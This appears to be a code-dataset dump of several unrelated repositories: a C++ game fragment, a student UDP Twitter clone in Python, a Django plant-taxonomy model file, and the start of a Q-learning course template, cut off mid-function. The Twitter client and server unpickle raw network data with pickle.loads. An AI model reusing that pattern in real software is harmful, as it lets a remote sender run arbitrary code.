RED_CHIP 'R'\n#define BLUE_CHIP 'B'\n\nint main()\n{\n\n\tBoard* myBoard = new Board();\n\t\n\t//ReflexAgent player1 = ReflexAgent(PLAYER_1, PLAYER_2); //player1\n\tEvaluationAgent player1 = EvaluationAgent(PLAYER_1, true); //player2\n\t\n\tEvaluationAgent player2 = EvaluationAgent(PLAYER_2, false); //player1\n\t//EvaluationAgent player2 = EvaluationAgent(PLAYER_2, false); //player2\n\n\tmyBoard->play_piece(1,1,PLAYER_1);\n\tmyBoard->play_piece(5,5,PLAYER_2);\n\n\tchar player = PLAYER_2;\n\tbool hasWon = false;\n\twhile(!hasWon)\n\t{\n\t\tif(player == PLAYER_1){\n\t\t\thasWon = player1.playGame(myBoard);\n\t\t\tplayer = PLAYER_2;\n\t\t}\n\t\telse{\n\t\t\thasWon = player2.playGame(myBoard);\n\t\t\tplayer = PLAYER_1;\n\t\t}\n\t\tmyBoard->printBoard();\n\t}\n\n\n\treturn 0;\n}" } ]
13
xiaooye/3251PA2
https://github.com/xiaooye/3251PA2
26502fc3c77d1742455a590c839e46215c67667b
f34066c62617677e0288420569d7ab3a0813a10c
16ba085dc5a28947186ca44e8ad1070cc95e40cb
refs/heads/main
2023-01-08T09:53:08.031274
2020-11-12T01:50:50
2020-11-12T01:50:50
310,433,878
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.47654083371162415, "alphanum_fraction": 0.48304542899131775, "avg_line_length": 30.263334274291992, "blob_id": "fa046e6bc7b5aaa2d55a51cc977f2e76a64ebda8", "content_id": "3ed5815caebf014eb29e8b11c0ccaf654ae77f1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9378, "license_type": "no_license", "max_line_length": 105, "num_lines": 300, "path": "/ttweetcli.py", "repo_name": "xiaooye/3251PA2", "src_encoding": "UTF-8", "text": "import sys\nimport os\nimport pickle\nimport socket\nimport threading\nimport queue\n\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ninput_queue = queue.Queue()\naddress = None\nuser = \"\"\npause = False\nmsgList = []\n\nclass userInput(object):\n \"\"\" Threading example class\n The run() method will be started and it will run in the background\n until the application exits.\n \"\"\"\n\n def __init__(self, interval=1):\n \"\"\" Constructor\n :type interval: int\n :param interval: Check interval, in seconds\n \"\"\"\n\n thread = threading.Thread(target=self.run, args=())\n thread.daemon = None # Daemonize thread\n thread.start() # Start the execution\n\n def run(self):\n \"\"\" Method that runs forever \"\"\"\n while True:\n # Do something\n try:\n x = input()\n # if x == \"exit\":\n # op = {'user': user, 'msg': None, 'operation': \"exit\"}\n # exitSend = pickle.dumps((op, None))\n # clientSocket.sendto(exitSend, address)\n # print(\"bye bye\")\n # os._exit(1)\n input_queue.put(x)\n except KeyboardInterrupt:\n op = {'user': user, 'msg': None, 'operation': \"exit\"}\n exitSend = pickle.dumps((op, None))\n try:\n clientSocket.sendto(exitSend, address)\n except ConnectionResetError:\n os._exit(1)\n os._exit(1)\n\n except EOFError:\n pass\n\nclass receive(object):\n \"\"\" Threading example class\n The run() method will be started and it will run in the background\n until the application exits.\n \"\"\"\n\n def __init__(self, interval=1):\n \"\"\" Constructor\n :type interval: int\n :param interval: Check interval, in seconds\n \"\"\"\n\n thread = threading.Thread(target=self.run, args=())\n thread.daemon = None # Daemonize thread\n thread.start() # Start the execution\n\n def run(self):\n \"\"\" Method that runs forever \"\"\"\n while True:\n # Do something\n try:\n data = clientSocket.recv(4096)\n except ConnectionResetError:\n print(\"error: server port invalid, connection refused.\")\n os._exit(1)\n t, d = pickle.loads(data)\n if t == \"duplicate\":\n print(\"username illegal, connection refused.\")\n os._exit(1)\n elif t == \"uerror\":\n print(d)\n os._exit(1)\n elif t == \"init\":\n print(d)\n elif t == \"receive\":\n msgList.append(d)\n print(d)\n elif t == \"subscribe\":\n print(d)\n elif t == \"unsubscribe\":\n print(d)\n elif t == \"gettweets\":\n pause = True\n print(d)\n elif t == \"getusers\":\n pause = True\n print(d)\n elif t == \"timeline\":\n pause = True\n print(d)\n elif t == \"exit\":\n print(\"bye bye\")\n os._exit(1)\n elif t == \"error\":\n print(d)\n elif t == \"finish\":\n pause = False\n else:\n pass\n\n# ==============ip address check for validation===========================\ndef valid_ip(host):\n ip_arr = host.split('.')\n if len(ip_arr) != 4:\n return False\n\n for i in ip_arr:\n i = int(i)\n if i < 0 or i > 255:\n return False\n return True\n\ndef conenctionCheck(connection, argv):\n # username_valid = True\n # parameter_valid = True\n # error = False\n ##======================= number of parameter ==============\n if len(argv) != 4:\n print(\"error: args should contain <ServerIP> <ServerPort> <Username>\")\n os._exit(1)\n ## ================================= ip error ===============\n if valid_ip(argv[1]) == False:\n print(\"error: server ip invalid, connection refused.\")\n os._exit(1)\n ## ================================ port error ===================\n ip = argv[1]\n port = int(argv[2])\n try:\n connection.connect((ip, port))\n except:\n print(\"error: server port invalid, connection refused.\")\n sys.exit(1)\n return True\n ## ======================== check for username format ==========================\n # username = sys.argv[3]\n # if username.isalnum() == False:\n # sys.exit(\"error: username has wrong format, connection refused.\")\n # print('Waiting for connection')\n ## ===================== ip error: connection error =====================\n # try: ## ????????????????????????????????????????????\n # connection.connect((host, port))\n # except socket.error as e:\n # sys.exit(\"error: server ip invalid, connection refused.\")\n\n\n# ===============check for valid hashtag======================\ndef tagChecker(hashtag):\n tagList = []\n for tag in hashtag:\n if len(tag) <= 0:\n return False\n tagList.append(tag)\n\n return tagList\n\n\ndef tweet(line, op, connection):\n\n list = line.split(\"\\\"\")\n message = list[1]\n op['msg'] = message\n hashtag = filter(None,list[2].strip().split(\"#\"))\n tagList = tagChecker(hashtag)\n\n if not tagList:\n print(\"hashtag illegal format, connection refused.\")\n return 1\n\n if len(message) <= 0:\n print(\"message format illegal.\")\n return 1\n elif len(message) > 150:\n print(\"message length illegal, connection refused.\")\n return 1\n\n tmp = (op, tagList)\n sendTweet = pickle.dumps(tmp)\n connection.sendto(sendTweet,address)\n return 0\n\n\n# =====================for both subscribe and unsubscribe========================\ndef subscribe(command, hashtag, op, connection):\n hashtag = filter(None,hashtag.strip().split(\"#\"))\n tagList = tagChecker(hashtag)\n if not tagList:\n print(\"hashtag illegal format, connection refused\")\n return 1\n tmp = (op, tagList)\n subscribeSend = pickle.dumps(tmp)\n connection.sendto(subscribeSend,address)\n return 0\n\n\ndef main(argv):\n global address\n global user\n connection = conenctionCheck(clientSocket, argv)\n user = argv[3]\n op = {'user': None, 'msg': None, 'operation': None}\n # ================ check connection error ====================\n ip = argv[1]\n port = int(argv[2])\n address = (ip,port)\n if not connection:\n os._exit(1)\n # ================check duplicate username from server==============\n else:\n z = (user, 'yea')\n y = pickle.dumps(z)\n clientSocket.sendto(y,address)\n # ==========reply from server whether username is duplicated, 0 for duplicated, 1 otherwise==========\n # if recvMsg == \"d\":\n # print(\"error: username has wrong format, connection refused.\")\n # clientSocket.close()\n # sys.exit(1)\n\n receiveMsg = receive()\n input = userInput()\n\n #print(\"type whatever you want\")\n # inputList = []\n\n while not pause:\n try:\n line = input_queue.get_nowait()\n # if x:\n # clientSocket.sendto(y, add)\n x = line.split()\n command = x[0]\n op['operation'] = command\n op['user'] = user\n if command == 'tweet':\n # ==========tweet return 1 for error 0 otherwise==================\n y = tweet(line, op, clientSocket)\n\n elif command == 'subscribe' and len(x) == 2:\n y = subscribe(command, x[1], op, clientSocket)\n\n elif command == 'unsubscribe' and len(x) == 2:\n y = subscribe(command, x[1], op, clientSocket)\n\n elif command == 'timeline' and len(x) == 1:\n for msg in msgList:\n print(msg)\n\n elif command == 'getusers' and len(x) == 1:\n # tmp = (command, user)\n # getuserSend = pickle.dumps(tmp)\n tmp = (op, None)\n getuserSend = pickle.dumps(tmp)\n clientSocket.sendto(getuserSend, address)\n\n elif command == 'gettweets' and len(x) == 2:\n op['msg'] = x[1]\n tmp = (op, None)\n gettweetSend = pickle.dumps(tmp)\n clientSocket.sendto(gettweetSend, address)\n\n elif command == 'exit' and len(x) == 1:\n tmp = (op, None)\n exitSend = pickle.dumps(tmp)\n clientSocket.sendto(exitSend, address)\n # data = data_queue.get_nowait()\n # print(data)\n else:\n print(\"invaild argument\\n\")\n\n except queue.Empty:\n pass\n \n except KeyboardInterrupt:\n op = {'user': user, 'msg': None, 'operation': \"exit\"}\n exitSend = pickle.dumps((op, None))\n try:\n clientSocket.sendto(exitSend, address)\n except ConnectionResetError:\n os._exit(1)\n os._exit(1)\n \n clientSocket.close()\n\n\nif __name__ == \"__main__\":\n main(sys.argv[0:])" }, { "alpha_fraction": 0.549926221370697, "alphanum_fraction": 0.5597639083862305, "avg_line_length": 24.424999237060547, "blob_id": "17704f1ea2e51a4ea686ed912f2d808d827794df", "content_id": "7a3cfa77515e35aeace9b71c24fa0f73b0eb5a9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2033, "license_type": "no_license", "max_line_length": 77, "num_lines": 80, "path": "/test2.py", "repo_name": "xiaooye/3251PA2", "src_encoding": "UTF-8", "text": "import socket\nimport pickle\nimport queue\nimport threading\n\nclientSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nip='127.0.0.1'\nport = 8080\nadd = (ip,port)\n\nz = ('ajdiwjidj', 'yea')\ny = pickle.dumps(z)\n\nclientSocket.sendto(y,add)\n\ninput_queue = queue.Queue()\n\nclass ThreadingExample(object):\n \"\"\" Threading example class\n The run() method will be started and it will run in the background\n until the application exits.\n \"\"\"\n\n def __init__(self, interval=1):\n \"\"\" Constructor\n :type interval: int\n :param interval: Check interval, in seconds\n \"\"\"\n\n thread = threading.Thread(target=self.run, args=())\n thread.daemon = True # Daemonize thread\n thread.start() # Start the execution\n\n def run(self):\n \"\"\" Method that runs forever \"\"\"\n while True:\n # Do something\n data = clientSocket.recv(1024)\n print(data)\n #data_queue.put(data)\n\nclass ThreadingExample1(object):\n \"\"\" Threading example class\n The run() method will be started and it will run in the background\n until the application exits.\n \"\"\"\n\n def __init__(self, interval=1):\n \"\"\" Constructor\n :type interval: int\n :param interval: Check interval, in seconds\n \"\"\"\n\n thread = threading.Thread(target=self.run, args=())\n thread.daemon = True # Daemonize thread\n thread.start() # Start the execution\n\n def run(self):\n \"\"\" Method that runs forever \"\"\"\n while True:\n # Do something\n x = input()\n input_queue.put(x)\n\nexample = ThreadingExample()\nexample1 = ThreadingExample1()\n\ncount = 0\n\nwhile True:\n try:\n x = input_queue.get_nowait()\n if x:\n print(x)\n clientSocket.sendto(y,add)\n #data = data_queue.get_nowait()\n #print(data)\n except queue.Empty:\n pass" }, { "alpha_fraction": 0.48120301961898804, "alphanum_fraction": 0.4849624037742615, "avg_line_length": 18.071428298950195, "blob_id": "876f5e107f7597832b889ac4351eda64561556b8", "content_id": "f847f2b6a98cfc389c948380220aa85e66c10015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 266, "license_type": "no_license", "max_line_length": 28, "num_lines": 14, "path": "/testing.py", "repo_name": "xiaooye/3251PA2", "src_encoding": "UTF-8", "text": "import sys\n\nfor line in sys.stdin:\n if 'q' == line.rstrip():\n break\n input = line.split('\\\"')\n for word in input:\n if len(word) <= 0:\n print(\"o shit\")\n else:\n print(word)\n print(f'Input : {line}')\n\nprint(\"Exit\")" }, { "alpha_fraction": 0.795869767665863, "alphanum_fraction": 0.799311637878418, "avg_line_length": 117.03125, "blob_id": "3c26f6903e31903a0659226a744df5209f457206", "content_id": "db6c8c2c9dc575993c47a9de11df4703e7b1b620", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3781, "license_type": "no_license", "max_line_length": 900, "num_lines": 32, "path": "/README.md", "repo_name": "xiaooye/3251PA2", "src_encoding": "UTF-8", "text": "# 3251PA2\n\n#PLEASE SET THE TIMEOUT (time.sleep(1)) OF STD_IN FUNCTION TO AT LEAST ONE SECOND TO PREVENT DELAY!!!!\n\n# High level implementation\nThe Twitter server is implemented with multi-threading to allow connections between the server and multiple clients concurently. Twitter clients allows various functionalities including tweeting a post along with hashtags, subscribing and unsubscribing to hashtags, printing out all informations on tweets, users, and senders. Most importantly, the subscribers should be able to receive tweets simultaniously while the clients tweet under the respective hashtags. Each client program contains three threads. Thread 1 is responsible for checking the format of client input as well as performing tweeting, subscribing, unsubscribing, and outputting tweets and user information functionalities. The second thread runs concurently to receive the tweets with corresponding hashtags and print the tweets on the console. Thread 3 runs in the background in order to receive any user inputs from the console. \nThe server program contains dictionaries with hashtags as keys and a list of subscribers of the hashtags as the key. When a new tweets with multiple hashtags is posted, users in the list of these specific tweets are put into a set to prevent users receiving duplicated tweets. A new dictionary is created everytime a new hashtag is created. Each dictionary is populated as clients subscribing to the hashtags of the corresponding dictionary. In order to keep track of timeline, out team implemented two dictionaries. The first dictionary contains users as keys and numbers as values. The second dictionary has numbers as keys and the content of the tweet as well as hashtags as values. The user, which is the key for the frist dictionary, have the same values as the keys in dictionary 2 if this user tweeted the content in the second dictionary. \n\n# Teammates\nWe Xin: \nWe Xin is responsible for server side programming, including creating, implementing and populating the dictionaries and lists in server program and receiving or sending information to the client program. \n\nZhuobin Yang:\nZhuobin Yang is charge for client side programming, including implementing the \"subscribe\", \"unsubscribe\", \"timeline\", and \"gettweets\" functions.\n\nPeiqi Zhao:\nPeiqi Zhao is responsible for error checking of user inputs, \"tweet\" and \"exit\" functions, and documentations. \n\n# How to use \n#PLEASE SET THE TIMEOUT (time.sleep(1)) OF STD_IN FUNCTION TO AT LEAST ONE SECOND TO PREVENT DELAY!!!!\n\nFor the server program, enter \"ttweetser <Port Number>\" into the console will start the server program. (\"<>\" should not be inputted into the console).\nIn order to connect to the server, the client side need to enter \"ttweetcli <ServerIP> <ServerPort> <Username>\" into the console.\nOn the client side console, client is able to tweet a post with \"tweet “<content of post(less than 150 characters)>” <Hashtag>\", where \"\" is necessary around the message.\nEntering \"subscribe <Hashtag>\" and \"unsubscribe <Hashtag>\" in to the client console allows client to subscribe or unsubscribe to a specific hashtag. \nEntering \"timeline\" into the client console prints the user who tweeted the posts, content of the tweet and hashtags to the client side.\nEntering \"getusers\" into the client console prints all users who are currently logged in.\nEntering \"gettweets <Username>\" into the client console prints out all tweets which are posted by the username. \nTo terminate the connection with the server for a client, enter \"exit\" to the client concole.\n \n# Dependent packages \nAll imports in the Twitter are common used imports including os, pickle, socket, treading, and queue. Some users might need to install \"pickle\" on their system with command \"pip install pickle-mixin\".\n" }, { "alpha_fraction": 0.46377137303352356, "alphanum_fraction": 0.4679342806339264, "avg_line_length": 37.812225341796875, "blob_id": "5d202530f288a9ab78a06b0970e7919f2543f1db", "content_id": "1b0f0b34e929f3dc4c4164186908e46ff7a2e871", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8888, "license_type": "no_license", "max_line_length": 292, "num_lines": 229, "path": "/ttweetser.py", "repo_name": "xiaooye/3251PA2", "src_encoding": "UTF-8", "text": "import socketserver\nimport threading, queue\nimport sys\nimport os\nimport pickle\n\nBUFFER_SIZE = 4096\nMAX_CONN = 6\nhashtags = {'ALL':set()}\nthreads = {}\ntimeline = {}\nusers = {}\nsubcount = {}\ntweets = {}\n\n\ndef spellingcheck():\n # check number of argument\n if (len(sys.argv) != 2):\n sys.exit(\"Wrong command\")\n\n # check if port is vaild\n try:\n port = int(sys.argv[1])\n except ValueError:\n sys.exit(\"Invaild value for server port\")\n\n # check port range\n if (port > 65535 or port <= 0):\n sys.exit(\"Value for server port exceeds limit\")\n\ndef exit(user):\n #we will collect all tweets anonymously with no user tag (but we also store the sender in the body of each tweet XD)\n users.pop(user)\n for x in hashtags:\n if user in hashtags[x]:\n hashtags[x].remove(user)\n threads.pop(user)\n timeline.pop(user)\n subcount.pop(user)\n\ndef read(user,message,hashtag,operation):\n return \"server read: TweetMessage{username='\" + user + \"', message='\" + message + \"', hashTags='\" + hashtag + \"', operation='\" + operation + \"'}\"\n\ndef write(success,type,error,tweetMsg,hashTags,sender,notification,usernames,historyMessages):\n return \"server write: TweetResponse{success='\" + success + \"', type='\"+ type +\"', error='\" + error +\"', tweetMsg='\"+tweetMsg+\"', hashTags='\" + hashTags + \"', sender='\"+sender+\"', notification='\"+notification+\"', usernames=\"+ str(usernames) +\", historyMessages=\"+ str(historyMessages) +\"}\"\n\ndef sender(self,type,data,socket):\n resp = pickle.dumps((type,data))\n socket.sendto(resp,self.client_address)\n\nclass ThreadedUDPRequestHandler(socketserver.BaseRequestHandler):\n def handle(self):\n data = self.request[0]\n socket = self.request[1]\n\n #if more than five users\n if len(threads) > MAX_CONN:\n #if more than five connections\n #if threading.active_count > MAX_CONN:\n socket.sendto('Off Limit!'.encode(),self.client_address)\n else:\n user = ''\n cur_thread = threading.current_thread\n #unpack data\n data = pickle.loads(data)\n \n #if only one variable then create new user\n if (data[1] == 'yea'):\n print(\"server get connection!\")\n user = data[0] \n print(read(user,\"null\",\"null\",\"init\"))\n\n #check if user exists\n if user in users:\n sender(self,\"duplicate\",\"\",socket)\n elif user == \"\":\n sender(self,\"uerror\",\"error: username has wrong format, connection refused.\",socket)\n else:\n users[user] = []\n subcount[user] = 0\n threads[user] = self.client_address\n timeline[user] = []\n sender(self,\"init\",\"username legal, connection established.\",socket)\n \n else:\n d = data[0]\n message = d['msg']\n operation = d['operation']\n user = d['user']\n hashtag = data[1]\n\n #tweet\n if operation == 'tweet':\n \n #add tweet to collections \n index = len(tweets)\n has = \"\"\n for ha in hashtag:\n has += (\"#\" + ha)\n send_msg = (user + ': \"' + message + '\" ' + has)\n tweets[index] = send_msg\n\n #add to sent history\n users[user].append(index)\n \n #server message\n print(read(user,message,str(hashtag),\"tweet\"))\n\n #construct receiver list\n receiver = set()\n \n #iterate through hashtag list\n for hash in hashtag:\n if hash in hashtags:\n for auser in hashtags[hash]:\n receiver.add(auser)\n\n for user in hashtags['ALL']:\n receiver.add(user)\n\n #send to each user\n for getuser in receiver:\n timeline[getuser].append(index)\n msg = pickle.dumps((\"receive\", send_msg))\n socket.sendto(msg,threads[getuser])\n \n sender(self,\"tweet\",\"\",socket)\n print(write(\"true\", \"tweet\", \"null\", message , has , user , \"null\", 0, 0))\n\n #operation\n elif operation == 'subscribe':\n #server message\n print(read(user,\"null\",str(hashtag),\"subscribe\"))\n\n #iterate through hashtags\n for hash in hashtag:\n #check if reach limit\n if subcount[user] >= 3:\n mess = 'operation failed: sub #' + hash + ' failed, already exists or exceeds 3 limitation'\n sender(self,\"error\",mess,socket)\n print(write(\"false\", \"subscribe\", mess , \"null\", \"null\", \"null\", \"null\", 0, 0))\n break\n else:\n subcount[user] += 1\n #create new hashtag\n if hash not in hashtags:\n hashtags[hash] = set([user])\n else:\n if user not in hashtags[hash]:\n hashtags[hash].add(user)\n else:\n mess = 'operation failed: sub #' + hash + ' failed, already exists or exceeds 3 limitation'\n sender(self,\"error\",mess,socket)\n print(write(\"false\", \"subscribe\", \"null\", \"null\", \"null\", \"null\", \"null\", 0, 0))\n break\n sender(self,\"subscribe\",\"operation success\",socket)\n print(write(\"true\", \"subscribe\", \"null\", \"null\", \"null\", \"null\", \"null\", 0, 0))\n\n elif operation == \"unsubscribe\":\n #server message\n print(read(user,\"null\",str(hashtag),\"unsubscribe\"))\n #iterate through hashtags\n for hash in hashtag:\n try:\n hashtags[hash].remove(user)\n except KeyError:\n pass\n\n sender(self,\"unsubscribe\",\"operation success\",socket)\n print(write(\"true\", \"unsubscribe\", \"null\", \"null\", \"null\", \"null\", \"null\", 0, 0)) \n \n elif operation == \"timeline\":\n #server message\n print(read(user,\"null\",\"null\",\"timeline\"))\n for tweet in timeline[user]:\n sender(self,\"timeline\",tweets[tweet],socket)\n sender(self,\"finish\",\"\",socket)\n\n elif operation == \"getusers\":\n #server message\n print(read(user,\"null\",\"null\",\"getusers\"))\n for user in users:\n sender(self,\"getusers\",user,socket) \n sender(self,\"finish\",\"\",socket)\n\n elif operation == \"gettweets\":\n #server message\n print(read(message,\"null\",\"null\",\"gettweets\"))\n for tweet in users[message]:\n sender(self,\"gettweets\",tweets[tweet],socket) \n print(write(\"true\", \"gettweets\", \"null\", \"null\", \"null\", \"null\", \"null\", 0, len(users[message])))\n sender(self,\"finish\",\"\",socket)\n\n elif operation == \"exit\":\n #server message\n print(read(user,\"null\",\"null\",\"exit\"))\n exit(user)\n sender(self,\"exit\",\"\",socket)\n\n else:\n print(\"wrong command\")\n sender(self,\"error\",\"wrong command\",socket)\n\nclass ThreadedUDPServer(socketserver.ThreadingMixIn, socketserver.UDPServer):\n pass\n\n\ndef main():\n # check argument\n spellingcheck()\n\n # create socket\n port = int(sys.argv[1])\n server_address = ('localhost', port)\n\n server = ThreadedUDPServer(server_address, ThreadedUDPRequestHandler)\n\n # waiting for connection\n try:\n print('server listening at ' + str(port))\n server.serve_forever()\n except KeyboardInterrupt:\n print(\"server closed by admin\")\n os._exit(1)\n\n\nif __name__ == '__main__':\n main()\n" } ]
5
SamantaMalesic/biljnevrste_repo
https://github.com/SamantaMalesic/biljnevrste_repo
0ded24018ac4982e47da4cb9d53075cea6700b7f
54fd1559a7aa1287c63f84e829977f6d94e3c678
c92ce9a85105c405019597e688187bf9656bacad
refs/heads/master
2020-05-18T08:36:43.503829
2019-05-07T16:54:51
2019-05-07T16:54:51
184,300,001
0
0
null
2019-04-30T16:58:11
2019-04-30T18:10:31
2019-05-07T16:54:51
Python
[ { "alpha_fraction": 0.7235130071640015, "alphanum_fraction": 0.7407063245773315, "avg_line_length": 37.42856979370117, "blob_id": "4e76065b6601865a6c786f7dada5c6f9afa7ee8a", "content_id": "71118cf5db3b38fe39ff4b14ba81104340ddeb43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2152, "license_type": "no_license", "max_line_length": 79, "num_lines": 56, "path": "/projekt/backend/biljnevrste/biljnevrsteapp/models.py", "repo_name": "SamantaMalesic/biljnevrste_repo", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\nclass Rod(models.Model):\n ID_roda = models.AutoField(primary_key=True)\n naziv_roda = models.CharField(max_length=30)\n\nclass Uporabni_dio(models.Model):\n ID_uporabni_dio = models.AutoField(primary_key=True)\n uporabni_dio = models.CharField(max_length=100)\n\nclass Sistematicar(models.Model):\n ID_sistematicara = models.AutoField(primary_key=True)\n naziv_sistematicara = models.CharField(max_length=100)\n\nclass Slika(models.Model):\n ID_slike = models.AutoField(primary_key=True)\n naziv_slike = models.CharField(max_length=50)\n opis_slike = models.CharField(max_length=255)\n ID_uporabni_dio = models.ForeignKey(Uporabni_dio, on_delete=models.CASCADE)\n\nclass Biljna_vrsta(models.Model):\n ID_biljne_vrste = models.AutoField(primary_key=True)\n hrvatski_naziv_vrste = models.CharField(max_length=100)\n latinski_naziv = models.CharField(max_length=100)\n sinonim_vrste = models.CharField(max_length=100)\n opis_vrste = models.CharField(max_length=255)\n ID_roda = models.ForeignKey(Rod, on_delete=models.CASCADE)\n\nclass Uporabni_dio_vrste(models.Model):\n ID_uporabni_dio = models.ForeignKey(Uporabni_dio, on_delete=models.CASCADE)\n ID_biljna_vrsta = models.ForeignKey(Biljna_vrsta, on_delete=models.CASCADE)\n\nclass Porodica(models.Model):\n ID_porodice = models.AutoField(primary_key=True)\n hrvatski_naziv_porodice = models.CharField(max_length=100)\n latinski_naziv_porodice = models.CharField(max_length=100)\n ID_roda = models.ForeignKey(Rod, on_delete=models.CASCADE)\n\n\nclass Podvrsta(models.Model):\n ID_podvrste = models.AutoField(primary_key=True)\n naziv_podvrste = models.CharField(max_length=100)\n ID_biljne_vrste =models.ForeignKey(Biljna_vrsta, on_delete=models.CASCADE)\n\nclass Varijet(models.Model):\n ID_varijeta = models.AutoField(primary_key=True)\n naziv_varijeta = models.CharField(max_length=100)\n ID_podvrste = models.ForeignKey(Podvrsta, on_delete=models.CASCADE)\n\n\n\n # auto models.AutoField(primary_key=True)\n # char models.CharFiled(max_length=)\n # vanjski models.ForigenKey(ime_klase)\n #\n" } ]
1
getachew67/UW-Python-AI-Coursework-Projects
https://github.com/getachew67/UW-Python-AI-Coursework-Projects
a65260e91c4af5408cd4ace8beb6ba3fe158dd59
c480d2f7203f8ae2f78abd87aa7f743ead30cca4
740bb1ffc93baa6b0903eabd7a391dbc3d1d7b1e
refs/heads/main
2023-07-15T20:53:45.646566
2021-08-31T06:49:13
2021-08-31T06:49:13
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6231162548065186, "alphanum_fraction": 0.6265726685523987, "avg_line_length": 31.290178298950195, "blob_id": "63d65340bcf1ce67a0b9abd4ce97d57a484aceb2", "content_id": "4aecf938e8bfbc045d3c0cee0aa6e088325f2efc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7233, "license_type": "no_license", "max_line_length": 84, "num_lines": 224, "path": "/Introduction to Artificial Intelligence/Lab 5/Q_Learn.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''Q_Learn.py\nSTUDENT STARTER TEMPLATE ...\n\nImplement Q-Learning in this file by completing the implementations\nof the functions whose stubs are present.\nAdd or change code wherever you see #*** ADD OR CHANGE CODE HERE ***\n\nThis is part of the UW Intro to AI Starter Code for Reinforcement Learning.\n\n'''\nimport math\nimport random\n\n\n# Edit the returned name to ensure you get credit for the assignment.\ndef student_name():\n # *** ADD OR CHANGE CODE HERE ***\n return \"Tran, Khoa\" # For an autograder.\n\n\nSTATES = None\nACTIONS = None\nUQV_callback = None\nQ_VALUES = None\nis_valid_goal_state = None\nTerminal_state = None\nUSE_EXPLORATION_FUNCTION = None\nINITIAL_STATE = None\nTIME = 0\n\n\ndef setup(states, actions, q_vals_dict, update_q_value_callback,\n goal_test, terminal, use_exp_fn=False):\n '''This method is called by the GUI the first time a Q_Learning\n menu item is selected. It may be called again after the user has\n restarted from the File menu.\n Q_VALUES starts out with all Q-values at 0.0 and a separate key\n for each (s, a) pair.'''\n global STATES, ACTIONS, UQV_callback, Q_VALUES, is_valid_goal_state\n global USE_EXPLORATION_FUNCTION, Terminal_state\n STATES = states\n ACTIONS = actions\n Q_VALUES = q_vals_dict\n UQV_callback = update_q_value_callback\n is_valid_goal_state = goal_test\n Terminal_state = terminal\n USE_EXPLORATION_FUNCTION = use_exp_fn\n if USE_EXPLORATION_FUNCTION:\n # *** ADD OR CHANGE CODE HERE ***\n # Change this if you implement an exploration function:\n print(\"You have not implemented an exploration function\")\n\n\nPREVIOUS_STATE = None\nLAST_ACTION = None\n\n\ndef set_starting_state(s):\n '''This is called by the GUI when a new episode starts.\n Do not change this function.'''\n global INITIAL_STATE, PREVIOUS_STATE\n print(\"In Q_Learn, setting the starting state to \"+str(s))\n INITIAL_STATE = s\n PREVIOUS_STATE = s\n TIME = 0\n\n\nALPHA = 0.5\nCUSTOM_ALPHA = False\nEPSILON = 0.5\nCUSTOM_EPSILON = False\nGAMMA = 0.9\n\n\ndef set_learning_parameters(alpha, epsilon, gamma):\n ''' Called by the system. Do not change this function.'''\n global ALPHA, EPSILON, CUSTOM_ALPHA, CUSTOM_EPSILON, GAMMA\n ALPHA = alpha\n EPSILON = epsilon\n GAMMA = gamma\n if alpha < 0:\n CUSTOM_ALPHA = True\n else:\n CUSTOM_ALPHA = False\n if epsilon < 0:\n CUSTOM_EPSILON = True\n else:\n CUSTOM_EPSILON = False\n\n\ndef update_Q_value(previous_state, previous_action, new_value):\n '''Whenever your code changes a value in Q_VALUES, it should\n also call this method, so the changes can be reflected in the\n display.\n Do not change this function.'''\n UQV_callback(previous_state, previous_action, new_value)\n\n\ndef handle_transition(action, new_state, r):\n '''When the user drives the agent, the system will call this function,\n so that you can handle the learning that should take place on this\n transition.'''\n global PREVIOUS_STATE\n global Q_VALUES\n qMax = -math.inf\n for act in ACTIONS:\n qMax = max(qMax, Q_VALUES[(new_state, act)])\n q = ((1-ALPHA) * Q_VALUES[(PREVIOUS_STATE, action)]\n ) + (ALPHA * (r + GAMMA * qMax))\n Q_VALUES[(PREVIOUS_STATE, action)] = q\n\n update_Q_value(PREVIOUS_STATE, action, q)\n\n print(\"Transition to state: \"+str(new_state) +\n \"\\n with reward \"+str(r)+\" is currently not handled by your program.\")\n\n PREVIOUS_STATE = new_state\n return # Nothing needs to be returned.\n\nTIME = 0\nnew_ep = 1\n\n\ndef choose_next_action(s, r, terminated=False):\n '''When the GUI or engine calls this, the agent is now in state s,\n and it receives reward r.\n If terminated==True, it's the end of the episode, and this method\n can just return None after you have handled the transition.\n\n Use this information to update the q-value for the previous state\n and action pair. \n\n Then the agent needs to choose its action and return that.\n\n '''\n global INITIAL_STATE, PREVIOUS_STATE, LAST_ACTION\n global TIME\n global new_ep\n\n # Unless s is the initial state, compute a new q-value for the\n # previous state and action.\n if not (s == INITIAL_STATE):\n # Compute your update here.\n # if CUSTOM_ALPHA is True, manage the alpha values over time.\n # Otherwise go with the fixed value.\n handle_transition(LAST_ACTION, s, r)\n\n # *** ADD OR CHANGE CODE HERE ***\n if is_valid_goal_state(s):\n TIME += 1\n new_ep = math.e ** (-0.0555 * TIME)\n LAST_ACTION = \"Exit\"\n return \"Exit\"\n elif s == Terminal_state:\n return None\n # # Save it in the dictionary of Q_VALUES:\n # Q_VALUES[(PREVIOUS_STATE, LAST_ACTION)] = new_qval\n\n # # Then let the Engine and GUI know about the new Q-value.\n # update_Q_value(PREVIOUS_STATE, LAST_ACTION, new_qval)\n\n # Now select an action according to your Q-Learning criteria, such\n # as expected discounted future reward vs exploration.\n\n if USE_EXPLORATION_FUNCTION:\n # Change this if you implement an exploration function:\n # *** ADD OR CHANGE CODE HERE ***\n print(\"You have not implemented an exploration function\")\n\n # If EPSILON > 0, or CUSTOM_EPSILON is True,\n # then use 